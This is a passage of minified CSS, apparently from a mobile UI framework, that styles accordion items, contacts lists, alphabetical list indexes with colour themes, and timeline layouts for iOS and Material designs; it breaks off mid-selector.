.item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.md .theme-dark .accordion-item-opened.media-item .accordion-item-toggle .item-title-row,.md .theme-dark .accordion-item-opened.media-item>.item-link .item-title-row,.md .theme-dark .links-list .accordion-item-opened>a,.md .theme-dark .list .accordion-item-toggle.accordion-item-opened .item-inner,.md .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner,.md .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item)>.item-link .item-inner,.md .theme-dark .media-list .accordion-item-opened .accordion-item-toggle .item-title-row,.md .theme-dark .media-list .accordion-item-opened>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(1.5%2C%206.5)%20rotate(-135)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.contacts-list .list-group:first-child ul:before{display:none!important}.contacts-list .list-group:last-child ul:after{display:none!important}.ios .contacts-list{margin:0}.ios .contacts-list .list-group-title{padding:0 15px;background:#f7f7f7;color:#000;font-weight:600;line-height:22px;height:22px}.contacts-list.ios .theme-dark .list-group-title,.ios .theme-dark .contacts-list .list-group-title{background-color:#111;color:#fff}.md .contacts-list{margin:0}.md .contacts-list .list-group-title{padding:0 16px;pointer-events:none;background:0 0;color:#2196f3;font-weight:500;line-height:48px;height:48px;font-size:20px;overflow:visible;width:56px}.md .contacts-list .list-group-title+li{margin-top:-48px}.md .contacts-list li:not(.list-group-title){padding-right:56px}.md .theme-dark .contacts-list .list-group-title{color:#fff}.list-index{position:absolute;top:0;bottom:0;right:0;text-align:center;z-index:10;width:16px;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.list-index:before{content:'';position:absolute;width:20px;top:0;right:100%;height:100%}.list-index ul{font-size:11px;font-weight:600;list-style:none;margin:0;padding:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;height:100%;width:100%;position:relative}.list-index li{margin:0;padding:0;list-style:none;position:relative;height:14px;line-height:14px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:block;width:100%}.list-index .list-index-skip-placeholder:after{content:'';position:absolute;left:50%;top:50%;border-radius:50%}.list-index .list-index-label{position:absolute;bottom:0;right:100%;text-align:center;border-radius:50%;color:#fff;font-weight:500}.ios .list-index ul{color:#007aff}.ios .list-index .list-index-skip-placeholder:after{content:'';width:6px;height:6px;margin-left:-3px;margin-top:-3px;background:#007aff}.ios .list-index .list-index-label{margin-bottom:-22px;margin-right:15px;width:44px;height:44px;line-height:44px;border-radius:50%;background:#007aff;font-size:17px}.ios .list-index .list-index-label:before{position:absolute;width:100%;height:100%;border-radius:50% 0 50% 50%;content:'';background-color:inherit;left:0;top:0;-webkit-transform:rotate(45deg);transform:rotate(45deg);z-index:-1}.ios .navbar~.list-index,.ios .navbar~.page>.list-index{top:44px}.ios .toolbar~* .page>.list-index,.ios .toolbar~.list-index,.ios .toolbar~.page>.list-index{bottom:44px}.ios .tabbar-labels~* .page>.list-index,.ios .tabbar-labels~.list-index,.ios .tabbar-labels~.page>.list-index{bottom:50px}@media (min-width:768px){.ios .tabbar-labels~* .page>.list-index,.ios .tabbar-labels~.list-index,.ios .tabbar-labels~.page>.list-index{bottom:56px}}.ios.device-iphone-x .toolbar~* .page>.list-index,.ios.device-iphone-x .toolbar~.list-index,.ios.device-iphone-x .toolbar~.page>.list-index{bottom:calc(44px + constant(safe-area-inset-bottom));bottom:calc(44px + env(safe-area-inset-bottom))}.ios.device-iphone-x .tabbar-labels~* .page>.list-index,.ios.device-iphone-x .tabbar-labels~.list-index,.ios.device-iphone-x .tabbar-labels~.page>.list-index{bottom:calc(50px + constant(safe-area-inset-bottom));bottom:calc(50px + env(safe-area-inset-bottom))}@media (min-width:768px){.ios.device-iphone-x .tabbar-labels~* .page>.list-index,.ios.device-iphone-x .tabbar-labels~.list-index,.ios.device-iphone-x .tabbar-labels~.page>.list-index{bottom:calc(56px + constant(safe-area-inset-bottom));bottom:calc(56px + env(safe-area-inset-bottom))}}.ios .color-theme-red .list-index ul,.ios .list-index.color-theme-red ul{color:#ff3b30}.ios .color-theme-red .list-index .list-index-label,.ios .color-theme-red .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-red .list-index-label,.ios .list-index.color-theme-red .list-index-skip-placeholder:after{background-color:#ff3b30}.ios .color-theme-green .list-index ul,.ios .list-index.color-theme-green ul{color:#4cd964}.ios .color-theme-green .list-index .list-index-label,.ios .color-theme-green .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-green .list-index-label,.ios .list-index.color-theme-green .list-index-skip-placeholder:after{background-color:#4cd964}.ios .color-theme-blue .list-index ul,.ios .list-index.color-theme-blue ul{color:#007aff}.ios .color-theme-blue .list-index .list-index-label,.ios .color-theme-blue .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-blue .list-index-label,.ios .list-index.color-theme-blue .list-index-skip-placeholder:after{background-color:#007aff}.ios .color-theme-pink .list-index ul,.ios .list-index.color-theme-pink ul{color:#ff2d55}.ios .color-theme-pink .list-index .list-index-label,.ios .color-theme-pink .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-pink .list-index-label,.ios .list-index.color-theme-pink .list-index-skip-placeholder:after{background-color:#ff2d55}.ios .color-theme-yellow .list-index ul,.ios .list-index.color-theme-yellow ul{color:#fc0}.ios .color-theme-yellow .list-index .list-index-label,.ios .color-theme-yellow .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-yellow .list-index-label,.ios .list-index.color-theme-yellow .list-index-skip-placeholder:after{background-color:#fc0}.ios .color-theme-orange .list-index ul,.ios .list-index.color-theme-orange ul{color:#ff9500}.ios .color-theme-orange .list-index .list-index-label,.ios .color-theme-orange .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-orange .list-index-label,.ios .list-index.color-theme-orange .list-index-skip-placeholder:after{background-color:#ff9500}.ios .color-theme-gray .list-index ul,.ios .list-index.color-theme-gray ul{color:#8e8e93}.ios .color-theme-gray .list-index .list-index-label,.ios .color-theme-gray .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-gray .list-index-label,.ios .list-index.color-theme-gray .list-index-skip-placeholder:after{background-color:#8e8e93}.ios .color-theme-white .list-index ul,.ios .list-index.color-theme-white ul{color:#fff}.ios .color-theme-white .list-index .list-index-label,.ios .color-theme-white .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-white .list-index-label,.ios .list-index.color-theme-white .list-index-skip-placeholder:after{background-color:#fff}.ios .color-theme-black .list-index ul,.ios .list-index.color-theme-black ul{color:#000}.ios .color-theme-black .list-index .list-index-label,.ios .color-theme-black .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-black .list-index-label,.ios .list-index.color-theme-black .list-index-skip-placeholder:after{background-color:#000}.ios .list-index.color-red ul{color:#ff3b30}.ios .list-index.color-red .list-index-label,.ios .list-index.color-red .list-index-skip-placeholder:after{background-color:#ff3b30}.ios .list-index.color-green ul{color:#4cd964}.ios .list-index.color-green .list-index-label,.ios .list-index.color-green .list-index-skip-placeholder:after{background-color:#4cd964}.ios .list-index.color-blue ul{color:#007aff}.ios .list-index.color-blue .list-index-label,.ios .list-index.color-blue .list-index-skip-placeholder:after{background-color:#007aff}.ios .list-index.color-pink ul{color:#ff2d55}.ios .list-index.color-pink .list-index-label,.ios .list-index.color-pink .list-index-skip-placeholder:after{background-color:#ff2d55}.ios .list-index.color-yellow ul{color:#fc0}.ios .list-index.color-yellow .list-index-label,.ios .list-index.color-yellow .list-index-skip-placeholder:after{background-color:#fc0}.ios .list-index.color-orange ul{color:#ff9500}.ios .list-index.color-orange .list-index-label,.ios .list-index.color-orange .list-index-skip-placeholder:after{background-color:#ff9500}.ios .list-index.color-gray ul{color:#8e8e93}.ios .list-index.color-gray .list-index-label,.ios .list-index.color-gray .list-index-skip-placeholder:after{background-color:#8e8e93}.ios .list-index.color-white ul{color:#fff}.ios .list-index.color-white .list-index-label,.ios .list-index.color-white .list-index-skip-placeholder:after{background-color:#fff}.ios .list-index.color-black ul{color:#000}.ios .list-index.color-black .list-index-label,.ios .list-index.color-black .list-index-skip-placeholder:after{background-color:#000}.md .list-index ul{color:#2196f3}.md .list-index .list-index-skip-placeholder:after{content:'';width:4px;height:4px;margin-left:-2px;margin-top:-2px;background:#2196f3}.md .list-index .list-index-label{width:56px;height:56px;line-height:56px;border-radius:50% 50% 0 50%;background:#2196f3;font-size:20px}.md .navbar~.list-index{top:56px}@media (min-width:768px){.md .navbar~.list-index{top:64px}}.md .navbar~.subnavbar~.list-index,.md .navbar~.toolbar:not(.toolbar-bottom-md)~.list-index,.md .page-with-subnavbar .navbar~.list-index{top:104px}.md .navbar~.tabbar-labels:not(.toolbar-bottom-md)~.list-index{top:128px}.md .toolbar-bottom-md~* .page>.list-index,.md .toolbar-bottom-md~.page>.list-index{bottom:48px}.md .tabbar-labels.toolbar-bottom-md~* .page>.list-index,.md .tabbar-labels.toolbar-bottom-md~.list-index,.md .tabbar-labels.toolbar-bottom-md~.page>.list-index{bottom:56px}.md.device-iphone-x .toolbar-bottom-md~* .page>.list-index,.md.device-iphone-x .toolbar-bottom-md~.page>.list-index{bottom:calc(48px + constant(safe-area-inset-bottom));bottom:calc(48px + env(safe-area-inset-bottom))}.md.device-iphone-x .tabbar-labels.toolbar-bottom-md~* .page>.list-index,.md.device-iphone-x .tabbar-labels.toolbar-bottom-md~.list-index,.md.device-iphone-x .tabbar-labels.toolbar-bottom-md~.page>.list-index{bottom:calc(56px + constant(safe-area-inset-bottom));bottom:calc(56px + env(safe-area-inset-bottom))}.md .color-theme-red .list-index ul,.md .list-index.color-theme-red ul{color:#f44336}.md .color-theme-red .list-index .list-index-label,.md .color-theme-red .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-red .list-index-label,.md .list-index.color-theme-red .list-index-skip-placeholder:after{background-color:#f44336}.md .color-theme-green .list-index ul,.md .list-index.color-theme-green ul{color:#4caf50}.md .color-theme-green .list-index .list-index-label,.md .color-theme-green .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-green .list-index-label,.md .list-index.color-theme-green .list-index-skip-placeholder:after{background-color:#4caf50}.md .color-theme-blue .list-index ul,.md .list-index.color-theme-blue ul{color:#2196f3}.md .color-theme-blue .list-index .list-index-label,.md .color-theme-blue .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-blue .list-index-label,.md .list-index.color-theme-blue .list-index-skip-placeholder:after{background-color:#2196f3}.md .color-theme-pink .list-index ul,.md .list-index.color-theme-pink ul{color:#e91e63}.md .color-theme-pink .list-index .list-index-label,.md .color-theme-pink .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-pink .list-index-label,.md .list-index.color-theme-pink .list-index-skip-placeholder:after{background-color:#e91e63}.md .color-theme-yellow .list-index ul,.md .list-index.color-theme-yellow ul{color:#ffeb3b}.md .color-theme-yellow .list-index .list-index-label,.md .color-theme-yellow .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-yellow .list-index-label,.md .list-index.color-theme-yellow .list-index-skip-placeholder:after{background-color:#ffeb3b}.md .color-theme-orange .list-index ul,.md .list-index.color-theme-orange ul{color:#ff9800}.md .color-theme-orange .list-index .list-index-label,.md .color-theme-orange .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-orange .list-index-label,.md .list-index.color-theme-orange .list-index-skip-placeholder:after{background-color:#ff9800}.md .color-theme-gray .list-index ul,.md .list-index.color-theme-gray ul{color:#9e9e9e}.md .color-theme-gray .list-index .list-index-label,.md .color-theme-gray .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-gray .list-index-label,.md .list-index.color-theme-gray .list-index-skip-placeholder:after{background-color:#9e9e9e}.md .color-theme-white .list-index ul,.md .list-index.color-theme-white ul{color:#fff}.md .color-theme-white .list-index .list-index-label,.md .color-theme-white .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-white .list-index-label,.md .list-index.color-theme-white .list-index-skip-placeholder:after{background-color:#fff}.md .color-theme-black .list-index ul,.md .list-index.color-theme-black ul{color:#000}.md .color-theme-black .list-index .list-index-label,.md .color-theme-black .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-black .list-index-label,.md .list-index.color-theme-black .list-index-skip-placeholder:after{background-color:#000}.md .list-index.color-red ul{color:#f44336}.md .list-index.color-red .list-index-label,.md .list-index.color-red .list-index-skip-placeholder:after{background-color:#f44336}.md .list-index.color-green ul{color:#4caf50}.md .list-index.color-green .list-index-label,.md .list-index.color-green .list-index-skip-placeholder:after{background-color:#4caf50}.md .list-index.color-blue ul{color:#2196f3}.md .list-index.color-blue .list-index-label,.md .list-index.color-blue .list-index-skip-placeholder:after{background-color:#2196f3}.md .list-index.color-pink ul{color:#e91e63}.md .list-index.color-pink .list-index-label,.md .list-index.color-pink .list-index-skip-placeholder:after{background-color:#e91e63}.md .list-index.color-yellow ul{color:#ffeb3b}.md .list-index.color-yellow .list-index-label,.md .list-index.color-yellow .list-index-skip-placeholder:after{background-color:#ffeb3b}.md .list-index.color-orange ul{color:#ff9800}.md .list-index.color-orange .list-index-label,.md .list-index.color-orange .list-index-skip-placeholder:after{background-color:#ff9800}.md .list-index.color-gray ul{color:#9e9e9e}.md .list-index.color-gray .list-index-label,.md .list-index.color-gray .list-index-skip-placeholder:after{background-color:#9e9e9e}.md .list-index.color-white ul{color:#fff}.md .list-index.color-white .list-index-label,.md .list-index.color-white .list-index-skip-placeholder:after{background-color:#fff}.md .list-index.color-black ul{color:#000}.md .list-index.color-black .list-index-label,.md .list-index.color-black .list-index-skip-placeholder:after{background-color:#000}.timeline{-webkit-box-sizing:border-box;box-sizing:border-box}.block-strong .timeline{padding:0;margin:0}.timeline-item{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative}.timeline-item-date{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;width:50px;text-align:right;-webkit-box-sizing:border-box;box-sizing:border-box}.timeline-item-date small{font-size:10px}.timeline-item-content{margin:2px;min-width:0;position:relative;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10}.timeline-item-content h1:first-child,.timeline-item-content h2:first-child,.timeline-item-content h3:first-child,.timeline-item-content h4:first-child,.timeline-item-content ol:first-child,.timeline-item-content p:first-child,.timeline-item-content ul:first-child{margin-top:0}.timeline-item-content h1:last-child,.timeline-item-content h2:last-child,.timeline-item-content h3:last-child,.timeline-item-content h4:last-child,.timeline-item-content ol:last-child,.timeline-item-content p:last-child,.timeline-item-content ul:last-child{margin-bottom:0}.timeline-item-inner{background:#fff;-webkit-box-sizing:border-box;box-sizing:border-box}.timeline-item-inner .block{padding:0;color:inherit}.timeline-item-inner .block-strong{padding-left:0;padding-right:0;margin:0}.timeline-item-inner .block-strong:before{display:none!important}.timeline-item-inner .block-strong:after{display:none!important}.timeline-item-inner .list ul:before{display:none!important}.timeline-item-inner .list ul:after{display:none!important}.timeline-item-divider{width:1px;position:relative;width:10px;height:10px;background:#bbb;border-radius:50%;margin-top:3px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.timeline-item-divider:after,.timeline-item-divider:before{content:' ';width:1px;height:100vh;position:absolute;left:50%;background:inherit;-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}.timeline-item-divider:after{top:100%}.timeline-item-divider:before{bottom:100%}.timeline-item:last-child .timeline-item-divider:after{display:none}.timeline-item:first-child .timeline-item-divider:before{display:none}.timeline-item-time{font-size:13px}.timeline-item-time:first-child,.timeline-item-time:last-child{margin-top:0}.timeline-item-title+.timeline-item-time{margin-top:0}.timeline-horizontal{height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.timeline-horizontal .timeline-item{display:block;width:33.33333333vw;margin:0;padding:0;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;position:relative;height:100%}.timeline-horizontal .timeline-item-date{width:auto;text-align:left;line-height:34px;position:absolute;left:0;top:0;width:100%;height:34px;text-align:right}.timeline-horizontal .timeline-item-content{overflow:auto;-webkit-overflow-scrolling:touch;margin:0}.timeline-horizontal .timeline-item-divider{display:none}.timeline-horizontal.col-100 .timeline-item{width:100vw}.timeline-horizontal.col-95 .timeline-item{width:95vw}.timeline-horizontal.col-90 .timeline-item{width:90vw}.timeline-horizontal.col-85 .timeline-item{width:85vw}.timeline-horizontal.col-80 .timeline-item{width:80vw}.timeline-horizontal.col-75 .timeline-item{width:75vw}.timeline-horizontal.col-70 .timeline-item{width:70vw}.timeline-horizontal.col-66 .timeline-item{width:66.66666666666666vw}.timeline-horizontal.col-65 .timeline-item{width:65vw}.timeline-horizontal.col-60 .timeline-item{width:60vw}.timeline-horizontal.col-55 .timeline-item{width:55vw}.timeline-horizontal.col-50 .timeline-item{width:50vw}.timeline-horizontal.col-45 .timeline-item{width:45vw}.timeline-horizontal.col-40 .timeline-item{width:40vw}.timeline-horizontal.col-35 .timeline-item{width:35vw}.timeline-horizontal.col-33 .timeline-item{width:33.333333333333336vw}.timeline-horizontal.col-30 .timeline-item{width:30vw}.timeline-horizontal.col-25 .timeline-item{width:25vw}.timeline-horizontal.col-20 .timeline-item{width:20vw}.timeline-horizontal.col-15 .timeline-item{width:15vw}.timeline-horizontal.col-10 .timeline-item{width:10vw}.timeline-horizontal.col-5 .timeline-item{width:5vw}@media (min-width:768px){.timeline-horizontal.tablet-100 .timeline-item{width:100vw}.timeline-horizontal.tablet-95 .timeline-item{width:95vw}.timeline-horizontal.tablet-90 .timeline-item{width:90vw}.timeline-horizontal.tablet-85 .timeline-item{width:85vw}.timeline-horizontal.tablet-80 .timeline-item{width:80vw}.timeline-horizontal.tablet-75 .timeline-item{width:75vw}.timeline-horizontal.tablet-70 .timeline-item{width:70vw}.timeline-horizontal.tablet-66 .timeline-item{width:66.66666666666666vw}.timeline-horizontal.tablet-65 .timeline-item{width:65vw}.timeline-horizontal.tablet-60 .timeline-item{width:60vw}.timeline-horizontal.tablet-55 .timeline-item{width:55vw}.timeline-horizontal.tablet-50 .timeline-item{width:50vw}.timeline-horizontal.tablet-45 .timeline-item{width:45vw}.timeline-horizontal.tablet-40 .timeline-item{width:40vw}.timeline-horizontal.tablet-35 .timeline-item{width:35vw}.timeline-horizontal.tablet-33 .timeline-item{width:33.333333333333336vw}.timeline-horizontal.tablet-30 .timeline-item{width:30vw}.timeline-horizontal.tablet-25 .timeline-item{width:25vw}.timeline-horizontal.tablet-20 .timeline-item{width:20vw}.timeline-horizontal.tablet-15 .timeline-item{width:15vw}.timeline-horizontal.tablet-10 .timeline-item{width:10vw}.timeline-horizontal.tablet-5 .timeline-item{width:5vw}}.timeline-horizontal .timeline-month,.timeline-horizontal .timeline-year{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;padding-top:24px;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;height:100%}.timeline-horizontal .timeline-month-title,.timeline-horizontal .timeline-year-title{position:absolute;left:0;top:0;width:100%;line-height:24px;height:24px;-webkit-box-sizing:border-box;box-sizing:border-box}.timeline-horizontal .timeline-month-title span,.timeline-horizontal .timeline-year-title span{display:inline-block;position:-webkit-sticky;position:sticky}.timeline-horizontal .timeline-year-title{font-size:16px}.timeline-horizontal .timeline-month-title span{margin-top:-2px}.ios .timeline{margin:35px 0;padding:0 15px}.ios .block-strong .timeline{padding:0;margin:0}.ios .timeline-item{padding:2px 0 15px}.ios .timeline-item:last-child{padding-bottom:2px}.ios .timeline-item-content .block,.ios .timeline-item-content .card,.ios .timeline-item-content .list,.ios .timeline-item-content.block,.ios .timeline-item-content.card,.ios .timeline-item-content.list{margin:0;width:100%}.ios .timeline-item-content .block+.block,.ios .timeline-item-content .block+.card,.ios .timeline-item-content .block+.list,.ios .timeline-item-content .card+.block,.ios .timeline-item-content .card+.card,.ios .timeline-item-content .card+.list,.ios .timeline-item-content .list+.block,.ios .timeline-item-content .list+.card,.ios .timeline-item-content .list+.list{margin:15px 0 0}.ios .timeline-item-inner{border-radius:7px;padding:8px 15px}.ios .timeline-item-inner+.timeline-item-inner{margin-top:15px}.ios .block-strong .timeline-item-inner{border-radius:3px;border:1px solid rgba(0,0,0,.1)}.ios .timeline-item-divider{margin-left:15px;margin-right:15px}.ios .timeline-item-time{margin-top:15px;color:#6d6d72}.ios .timeline-item-time:first-child,.ios .timeline-item-time:last-child{margin-top:0}.ios .timeline-item-title{font-size:17px;font-weight:600}.ios .timeline-item-subtitle{font-size:15px}.ios .timeline-sides .timeline-item{margin-right:calc(50% - (30px + 10px)/ 2 - 50px);margin-left:0}.ios .timeline-sides .timeline-item .timeline-item-date{text-align:left}.ios .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n){-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-left:calc(50% - (30px + 10px)/ 2 - 50px);margin-right:0}.ios .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date{text-align:right}.ios .timeline-sides .timeline-item-left{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-left:calc(50% - (30px + 10px)/ 2 - 50px);margin-right:0}.ios .timeline-sides .timeline-item-left .timeline-item-date{text-align:right}.ios .timeline-sides .timeline-item-right{margin-right:calc(50% - (30px + 10px)/ 2 - 50px);margin-left:0}.ios .timeline-sides .timeline-item-right .timeline-item-date{text-align:left}@media (min-width:768px){.ios .tablet-sides .timeline-item{margin-right:calc(50% - (30px + 10px)/ 2 - 50px);margin-left:0}.ios .tablet-sides .timeline-item .timeline-item-date{text-align:left}.ios .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n){-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-left:calc(50% - (30px + 10px)/ 2 - 50px);margin-right:0}.ios .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date{text-align:right}.ios .tablet-sides .timeline-item-left{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-left:calc(50% - (30px + 10px)/ 2 - 50px);margin-right:0}.ios .tablet-sides .timeline-item-left .timeline-item-date{text-align:right}.ios .tablet-sides .timeline-item-right{margin-right:calc(50% - (30px + 10px)/ 2 - 50px);margin-left:0}.ios .tablet-sides .timeline-item-right .timeline-item-date{text-align:left}}.ios .timeline-horizontal{padding:0;margin:0}.ios .timeline-horizontal .timeline-item{padding-top:34px!important;padding-bottom:10px}.ios .timeline-horizontal .timeline-month:last-child .timeline-item:last-child:after,.ios .timeline-horizontal>.timeline-item:last-child:after{display:none!important}.ios .timeline-horizontal .timeline-item-date{background:#f7f7f8;padding:0 10px}.ios .timeline-horizontal .timeline-item-content{padding:10px;height:calc(100% - 10px)}.ios .timeline-horizontal .timeline-item-date:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-item-date:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-item-date:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .timeline-horizontal .timeline-month .timeline-item:before{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-month .timeline-item:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-month .timeline-item:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .timeline-horizontal .timeline-item:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:0;bottom:auto;left:auto;width:1px;height:100%;-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-item:after{-webkit-transform:scaleX(.5);transform:scaleX(.5)}.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-item:after{-webkit-transform:scaleX(.33);transform:scaleX(.33)}.ios .timeline-horizontal .timeline-year:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:0;bottom:auto;left:auto;width:1px;height:100%;-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-year:after{-webkit-transform:scaleX(.5);transform:scaleX(.5)}.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-year:after{-webkit-transform:scaleX(.33);transform:scaleX(.33)}.ios .timeline-year:last-child:after{display:none!important}.ios .timeline-month-title,.ios .timeline-year-title{padding:0 10px;background:#f7f7f8}.ios .timeline-month-title span,.ios .timeline-year-title span{right:10px}.ios .timeline-year-title span{margin-top:3px}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge){padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span{left:calc(10px + constant(safe-area-inset-left));left:calc(10px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.ios.device-iphone-x .panel-left 